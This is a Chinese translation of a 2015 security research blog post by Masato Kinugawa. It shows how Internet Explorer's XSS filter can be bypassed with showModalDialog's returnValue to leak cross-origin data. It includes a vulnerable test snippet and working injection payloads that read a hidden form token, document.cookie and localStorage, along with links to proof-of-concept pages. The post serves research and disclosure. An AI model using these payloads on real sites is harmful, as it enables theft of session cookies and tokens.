利用showModalDialog绕过IE的XSS过滤器:跨域信息泄露漏洞分析

本文详细分析了如何利用已被移除Web标准的showModalDialog函数绕过IE浏览器的XSS过滤器,实现跨域信息窃取。通过具体PoC演示了如何获取敏感令牌和Cookie,并讨论了不同浏览器的同源策略差异。文章还提供了历史XSS绕过技术参考。

利用showModalDialog绕过IE的XSS过滤器

作者:Masato Kinugawa
发布时间:2015年6月16日

大家好!我是Masato Kinugawa。终于开始用英文写博客了:)
同时我会继续维持日文博客更新:http://masatokinugawa.l0.cm/
今天我想分享通过showModalDialog绕过IE XSS过滤器的方法。

showModalDialog函数虽然陈旧且已被移出Web标准,但具有独特机制。我认为它可能带来惊喜,因此开始研究它。该函数目前仍被IE、Firefox和Safari支持。

showModalDialog基础用法

第一参数是要在模态对话框中打开的URL。
第二参数是传递给模态对话框的参数,在模态窗口中可通过window.dialogArguments属性使用。

通过window.dialogArguments传递参数时,两个窗口必须同源。但在returnValue的处理上有所不同:Safari和IE无需同源(仅Firefox需要同源限制)。

测试页面:
http://vulnerabledoma.in/showModalDialog/opener.html

Safari可直接跨域传递,请点击"x-origin"按钮测试。
IE需要通过3xx重定向实现,请点击"x-origin(redirect)“按钮测试。

这意味着在Safari和IE中可通过returnValue属性向不同源页面传递信息,可能在某些Web应用中形成漏洞。当然,在2015年我不打算指导如何安全使用showModalDialog :)

核心内容:绕过IE XSS过滤器

可利用条件:

  • JS字符串字面量中存在XSS漏洞
  • JS属性包含敏感信息

测试页面:
http://vulnerabledoma.in/xss_token?q=[XSS_HERE]

1
2
3
4
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>var q="[XSS_HERE]"</script>

实际PoC(请使用IE访问):
http://l0.cm/xssfilter_bypass/showModalDialog.html

成功时,关闭模态对话框后会通过alert显示token字符串。

技术细节

重定向指向:
http://vulnerabledoma.in/xss_token?q=%22%3BreturnValue=form.token.value//

Payload注入后:

1
<script>var q="";returnValue=form.token.value//"</script>

通过returnValue成功传递token!

以下方式同样有效:

1
2
";returnValue=document.cookie//
";returnValue=localStorage.key//

曾尝试通过window.opener访问其他页面的window对象但未成功。如有方案欢迎分享!

历史XSS绕过技术参考

(日文内容,建议使用谷歌翻译阅读)

  • 浏览器XSS保护功能绕过(1) (2012/2)
  • 浏览器XSS保护功能绕过(2) (2012/3)
  • 浏览器XSS保护功能绕过(3) (2012/9)
  • 浏览器XSS保护功能绕过(4) (2014/9)
  • 浏览器XSS保护功能绕过(5) (2014/10)

更新(2015/6/17)

发现通过returnValue获取同源其他页面信息的新方法。
请访问以下页面点击"go"按钮测试:
http://l0.cm/xssfilter_bypass/showModalDialog2.html

成功时可在alert对话框中显示其他同源页面的”

This is secret Text!

“信息。此PoC无需3xx重定向,似乎可通过showModalDialog内iframe设置跨源页面的returnValue。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计